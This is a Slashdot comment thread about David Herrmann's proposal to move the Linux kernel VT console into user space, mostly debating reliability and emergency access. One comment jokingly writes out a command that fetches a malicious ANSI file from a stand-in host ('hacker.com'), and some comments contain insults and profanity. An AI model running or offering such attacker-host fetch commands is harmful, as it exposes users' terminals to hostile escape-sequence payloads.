Moving the Linux Kernel Console To User-Space
jones_supa sends this quote from Phoronix:
"David Herrmann has provided an update on his ambitious initiative to kill off the Linux kernel console. Herrmann has long been working on making the Linux kernel CONFIG_VT option unnecessary for providing a Linux console by punting it off to user-space. The Linux kernel VT console hasn't been changed much in the past two decades and Herrmann is hoping to see it replaced with a user-space solution he's been developing that would allow for multi-seat support, a hardware-accelerated console, full internalization, and other features."
if something have any purpose, why should we kill it?
Lets not mess with the TTY's they are STILL NEEDED for when things go wrong...
making console depend on layers of complexity in user space, yeah that'll all be there when things go south.... the console is there for emergencies, needs to depend on as little as possibile
Being able to press ctrl-alt-f1 when anyting hangs the X server is why I feel more at home in linux than in windows or OSX.
If it works, don't fix it
So, it's relatively unchanged for "two decades". No one is complaining about it. It doesn't really seem to require improvement as it does what it needs to.
Yea, let's completely gut the system, move it to user space, introduce a metric shit ton of unexpected and undesirable behavior because... Well, Gnome is changing.
This could be an essential part of GNOME 3!
I generally agree although I also don't think it needs to be quite as sophisticated as it is. But that said, answering my own criticism, does supporting multiple character sets, colors, and screen sizes really add so much bloat it'd be worth stripping it down?
You are not alone. This is not normal. None of this is normal.
I'm guessing it has not changed much because it's simple well understood. If you need more than a bare console I suppose most assume you'll jump to a more advanced environment (X) that already has hardware accell, fancy fonts, high res, unicode support, etc.
Although it seems a lot of the console's limitation's stem from the fact it was written to accommodate lowest common denominator hardware support for 386 PCs. (MCA/CGA/VGA text modes) These modes are still present in even new PCs, but not on anything that's not a PC.. All non-pcs use some sort of framebuffer console anyway. Most new PC based distros seem to use the framebuffer console too, because it allows for more fonts and higher resolutions (meaning more, longer lines on the screen and a more clean appearance)
A fancy console would be nice as long as you can fall back to the old one. I'd hate to be locked out of a systems because some random video driver issue, font issue, unicode issue, or input device issue broke the new one.
Also make sure you're not dupilcating effort. If you're going to put the console in userland anyway, maybe make is share bits with your GUI.
I can;t wait to hear Linus' response to this plan. I expect it to be something like...
How 'bout noh! You crazy Dutch bastard.
a hardware-accelerated console
Why?
CDE open sourced! https://sourceforge.net/projects/cdesktopenv/
It's new and you don't understand it - YOU MUST DERIDE AT ALL COSTS
making console depend on layers of complexity in user space, yeah that'll all be there when things go south.... the console is there for emergencies, needs to depend on as little as possibile
Ain't broke. Nuff said. Okay..., maybe not quite, but let's solve the problem(s) without creating new ones. And yes, busting the console most definitely will create problems.
You can take my console when you pry it from my cold dead hands!
Seriously, keep your hands off my console!
Good troll, but the better analogy would be car steering wheels haven't changed in decades. They're all round and don't come in many colors or properly support knee control. So, I want to move them into the back seat so they don't get in the way.
When I read "a hardware-accelerated console" I though that it must be a joke. This whole story. /. headlines...
Bravo! He made it on
(otherwise this kind of idea could have made me feel quite anxious)
Amen. Probably to have best of both worlds - keep minimal dumb terminal (think serial tty or basic 80x25 text) for such emergencies. init=/bin/sh is a nice thing to have.
Learned something new today - because, until now i was always assuming the console already did run in user space, and was as friendly to print kernel messages.
A glitch a day keeps the bugs away.
The linux kernel console; a lightweight, lightning-fast TEXT console not depending on X or anything else. Who needs it, eh? Are you kidding me? This is an imbecilic idea. If you must have pointless cruft like this, add it IN ADDITION to what has ALWAYS worked perfectly, is super reliable, and super simple. Hopefully set it up so that any mature user can leave this garbage out of his system.
This is just a continuation of the systemd, Gnome 3 type of insanity.
The way things are going, BSD, here I come. An OS by adults, for adults, not a would-be Windows me-too with stupid people gradually one-by-one breaking everything that has made linux great - up until now.
No. Step away from the console.
I suggest 2 different consoles, neither of which would need to be there for the kernel to do it's thing of running user space processes. One would be an optional in-the-kernel console complete with an in-the-kernel shell. Trim down it's capability and keep it small. The other would be an optional all-user-space console which can use the many user-space shells we already have, or any other program we want. PTY's definitely need to be pure user-space.
now we need to go OSS in diesel cars
I think it should require Unity and a touchscreen
had funny thought, this might work in MINIX kernel architecture, but not monolithic one
I await the new console with gesture support. There is one gesture I regularly make to systems that are so broken I have to use the console.
Off-course like the Costa Concordia?
then you aren't really using a "failsafe" console. Even Windows has this with it's "Special Administration Console" / "Emergency Management Services."
When I was building custom kernels for my server I would remove the VT support. Pure serial.
So I don't care. Sounds good from a design standpoint. Should have the least in the kernel possible - simple = robust.
From TFA (to save your delicate eyes from the indignity of RTFA):
Let's look at this one item at a time.
Welcome to the Panopticon. Used to be a prison, now it's your home.
With systemd, upstart and company and all the other rubbish we are going towards a messy opaque system much like windows. I do not like this trend.
How about a more informative introduction? All of the concerns raised have been addressed. If only people would avail themselves of a more complete understanding before vehemently opposing any sort of change, the world would be a much better place. If not though, the least you could do is keep quiet if you refuse to inform yourself.
This isn't change for the sake of change; the present VT system is seriously lacking, and has been since its inception.
Why not add completely new functionality rather than mucking with something that already works. And for fucks sake stop assuming we all want to switch users every time the wind changes direction. We dont. We want the system to be rock solid, simple to understand, and easily recovered in the event of a failure.
Are *nix developers bored or something? As if the udev/systemd/initscripts changes weren't enough. What possible good can come from messing with TTY?
Things being around for a while doesn't make them automatically needing replacement. That's Windows logic.
Oh well, there'll always be sensible fork.
My normally headless file server has a low-end nVidia card in it. This machine has no GUI, just the text console.
Video output of the text console on this machine does not work without installing the proprietary nVidia drivers. I just get garbled noise on the screen otherwise. This boggled my mind. It's a bug in the Nouveau drivers the kernel loads by default, of course, but the fact that video card driver bugs were preventing me from using the machine's text console...
It turns out that at some point the linux terminal switched to a GUI mode rather than using the actual character output mode. Hence why you now need graphics drivers for the most basic use of a machine.
Why not take all that initiative and put it into more TermKit development. TermKit already is the same idea but is leaps and bounds ahead of whatever this thing is that I'm seeing using Enlightenment. Already has been attempted and I actually learned about this project on slashdot. I suggest forking TermKit to do what this is trying to accomplish rather than reinvent the wheel here.
https://github.com/unconed/TermKit
just to add this for Ubuntu to satisfy there vapid airhead fan boys desire to turn Linux into Windows.
Running the console in User Space really meaning running a kernel thread in the unprivileged mode of the CPU. If you do a process listing on a current system, most of the PID's < 100 are user space threads launched from within the kernel itself and part of the kernel code base. These include things like USB management, software RAID, swapd, ext4-dio-unwrit. They don't create external dependencies. The chief benefit is that failures in those threads can't take the whole system down. I'm surprised we haven't seen a carefully crafted ANSI console attack hack circulating out there. "Hey kidz, try this: curl h**p://hacker.com/badansi.txt"
While I fully respect the concern of preserving the access of last resort as it is, the only "emergency" I ever have ever needed to use a physical console is when network connectivity goes belly up and you have to fix the network configuration to the point that you can SSH back into it again.
This is a boring sig
Seeing Linux in quite a number of embedded applications, I would say yes... also, just because it is in user mode, doesn't mean it has to be loaded with everything in user-space to be available at the core... It does make more advanced options available, and more easily swapped out, or removed altogether.
Michael J. Ryan - tracker1.info
Yeah, who needs diagnostics *before* user space kicks in?!
I mean everyone has a serial console hooked to their PC, right?
So just a seven character file with File:/// then? :)
Slashdot: where don knuth is an idiot because he cant grasp the awesome power of php
when you're just installing, and there's a problem, or the system's crashed? Will there still be a real console in system space?
mark
No mod points today
I like my spaghetti with source.
QNX, the real-time message passing operating system now owned by Blackberry, does all "console" handling in user space. They've done that for years. That's because, in the embedded world, you can't assume the target machine has a console, or even a serial port.
When you build a QNX boot image for an embedded system, you can add any programs you want to be available as soon as the system boots. All device drivers are in user space, so that's how the initial set of drivers gets loaded. You can also load applications that way. Having a file system is optional. If necessary, all software can be in a ROM. This allows scaling down to small embedded devices.
A serial console program is available, and is loaded into most systems that have a serial port. There are other options for systems that don't have a serial port, like connecting it to a network.
There's also a system logger. It's common to have the system logger log to some network destination elsewhere, so problems out at Pumping Station 42 are reported to the control center far away.
Linux has tried to emulate this architecture. More drivers are in user space. But in Linux that was an afterthought, and it shows.
And that only takes down one user process without taking down the whole system. That's an example of a bug in a common library. It's similar to all the sprintf exploits over the years.
This is a boring sig
It's not exactly a standard option on all machines these days. I have a USB-serial adaptor to plug into my servers, but if the box that has the issue is the one with no serial port, well....
Linux is ever so slowly turning into Minix.
http://michaelsmith.id.au
The feature set of the Linux VT console has been intentionally limited from nearly the start, and the line has always been: if you need more than this, do it in userspace. There has been several projects which have, for example kon2 which provided CJK functionality -- not something that one can sanely do in the kernel because of font size; similarly, Arabic/Indic font shaping is just plain too painful. For most people, the solution has simply been to bootstrap out of the console as quickly as possible, most of the time never even showing the console. What you find pretty quickly is that if you want something that is fully featured you end up with something that is as complex as X or Wayland anyway, and then you might as well go straight there. The in-kernel console will remain, of course, as an ultimate fallback. If someone wants to give users more options, more power to them.
hahaha, good one.
Most end users can safely disable kernel console, as they will not have skills to debug problems that prevent basic GUI from coming up. On the other hand, for developers debugging such problems, its hard to argue against a fail safe kernel console. How are the developers of this replacement user space terminal planning to debug their code?
KMSCON is also highly modular with its only hard dependencies being libxkbcommon, libudev, libpixman, and glibc. The DRM library (libdrm) is optional.
I was going to write that this isn't too bad, but then I saw bloody udev. You may not be interested, but I wanted to try out KDE 4.10, but I wanted to try it before making the move for real. So I installed a whole system in a chroot and enabled the testing repositories in that. To my surprise, X11 would start in the chroot, after things like /proc and /dev were properly bind-mounted. The *only* thing that didn't work was the keyboard and mouse. The reason? Auto-discovery with udev. So all of the complex beast that is Xorg could start, but the minor niggle of the input devices wouldn't work. Disable udev auto discovery in xorg.conf -> all is well! Well except the sound used Alsa instead of Pulseaudio. Seems like only the new stuff in Linux breaks. With every new fancy layer of abstraction, we seem to lose a little stability and gain a few features. Pulse is worth it for me, as I can change between my two sound cards while playing sound, for example to put on headphones when watching a movie and it gets late. It seems to me that distros did auto-mounting of removable devices in 2005 so I don't really know what benefit I get from udev/udisks. And because I have hundreds of snapshots of my block devices, the KDE file manager chokes for seconds every time I start it. Not worth it. Having anti-aliased fonts for the rare time I use the kernel consoles ? You got to be fucking kidding me.. (I used them extensively when setting up X in a chroot, and while I'd love to have a mouse and copy/paste, I don't want to think about the additional breakage that would happen with a "better" console)
Why are we wasting development time on this?
This is the biggest example of "If it ain't broke..." ever. This code is ROCK SOLID STABLE, and has been around for decades. Just because something is old does not mean it needs to be replaced if it performs its function well.
Let's not mess with this code and introduce new bugs unless there's a good reason. If a year down the road I find systems crashing because of console code issues, I'm going to be PISSED.
Then compile it out of the kernel in embedded applications. The kernels on those applications are all custom built anyway.
God is imaginary
poettering should make it part of systemd! problem solved!
Its capabilities are fine. Don't trim them down just for ideological reasons. If you want some full featured terminal, just write one for the framebuffer. They already exist. If you have a KMS/DRM2 enabled system, it'll be hw accelerated too. Or just run a term in X and be done with it. Leave the system console alone.
English as a third language is where thing get tricky. I has is ron, off-course.
Are you implying that login, bash and all your favorite console utilities should be moved to kernel space? What use is a console without user space? This user space console would just move more of its functionality to user space, namely on-screen rendering and keyboard input.
It's not true that the current console is useful without user space even though lots of comments here are making that assumption.
As long as it works when I need it such as when I want to play nethack or when I borked my system up when I'm experimenting, I don't care. If it makes my system function like the current version of Debian testing and I lose access to tty 1-6 because I started X on tty 7 I am against it because I needed those.
Perlsix - Second system dun goofed.
Your language usage is broken, bitch.
"I'm sorry... I can't let you do that Dave."
replacing an oil dip-stick with a digital gauge that shows a dip-stick image.
AB HOC POSSUM VIDERE DOMUM TUUM
Fsck that. My dmseg output is using Wingdings :-P
I recommend watching at least the first 5-10 minutes of the talk Herrmann gives, in the video on the linked page. He addresses all of the concerns I've seen in comments here.
As projects grow, to me the question is not whether things should be changed, but how they should change.
Sadly, GNU/Linux is becoming a chaotic mess of an operating system. It lacks consistency and is far too fragmented.